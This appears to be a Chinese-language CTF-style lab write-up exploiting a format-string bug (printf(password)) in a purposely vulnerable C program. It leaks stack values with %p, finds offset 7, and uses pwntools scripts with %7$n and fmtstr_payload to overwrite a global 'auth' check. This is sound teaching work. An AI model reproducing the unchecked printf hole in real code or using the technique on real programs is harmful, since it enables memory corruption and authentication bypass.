#include <stdio.h>
int auth = 0;
int main() {
char password[100];
puts("Password: ");
fgets(password, sizeof password, stdin);
printf(password);
printf("Auth is %i\n", auth);
if(auth == 10) {
puts("Authenticated!");
}
}
1. 编译
gcc -m32 -no-pie -fno-stack-protector -z execstack vuln.c -o vuln
程序保护:
└─$ checksec --file=./vuln
[*] '/home/kali/exploits/str_arb_write/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
2. 运行分析
└─$ ./vuln
Password:
%p %p %p %p %p %p %p %p %p %p %p
0x64 0xf7e1d620 0x804918d 0xf7ffdbac 0x1 0xf7fc17c0 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070
Auth is 0
0x25207025,就单于"%p %", 小端存储,所以,存储为 %," " , p, %
因此,第7个dword就是存放格式化字符串的地址。
3. 构造任意写auth值
带有printf格式化漏洞的调用栈:
栈偏移 | 值 |
+0 | format_str_pointer |
+7 | format_str |
因为 printf("winsunxuxu%n", &auth) == (auth = 10)
所以,可以这样构建format_str:
format_str ::= p32(auth_var_addr) + sizeof(6) + "%7$n"
4. pwn
1. 手动pwn
from pwn import *
p = process('./vuln')
auth = 0x804c028
payload = p32(auth)
payload += b'A' * 6
payload += b'%7$n'
p.clean()
p.sendline(payload)
log.info(p.clean())
2. 工具pwn
from pwn import *
elf = context.binary = ELF('./vuln')
auth = elf.sym['auth']
payload = fmtstr_payload(7,{auth:10})
p = process()
p.clean()
p.sendline(payload)
log.info(p.clean())
└─$ python pwn.py
[*] '/home/kali/exploits/str_arb_write/auth'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
b'%10c%9$n(\xc0\x04\x08'
[+] Starting local process : pid 1551097
Auth is 10
Authenticated!
